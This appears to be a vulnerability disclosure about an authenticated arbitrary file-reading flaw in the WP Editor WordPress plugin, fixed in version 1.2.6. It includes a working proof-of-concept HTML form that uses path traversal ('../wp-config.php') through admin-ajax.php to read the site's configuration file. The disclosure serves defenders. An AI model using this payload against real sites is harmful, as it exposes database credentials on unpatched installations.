Authenticated File Viewing Vulnerability in WP Editor

The security vulnerabilities we previously disclosed in WP Editor have now been fixed in version 1.2.6, hopefully those or something else fixed in that version was what hackers are trying to exploit. While looking around for other security issues in plugin we found another vulnerability that had existed in 1.2.5.3 and all version below, which was fixed in 1.2.6 as well.

Similar to the two vulnerabilities the ajax function for requesting a file on the website did not do any check as to the user capabilities when doing that, so any logged in user could view arbitrary files.

Proof of Concept

The following proof of concept will return the contents of the wp-config.php file in the root directory of the WordPress installation, when logged in as a subscriber level or higher user.

Make sure to replace “[path to WordPress]” with the location of WordPress:

<html>
<head>
</head>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="action" value="ajax_folders" />
<input type="hidden" name="dir" value="../wp-config.php" />
<input type="hidden" name="contents" value="1" />
<input type="hidden" name="type" value="plugin" />
<input type="submit" value="Submit" />
</form>
</body>
</html>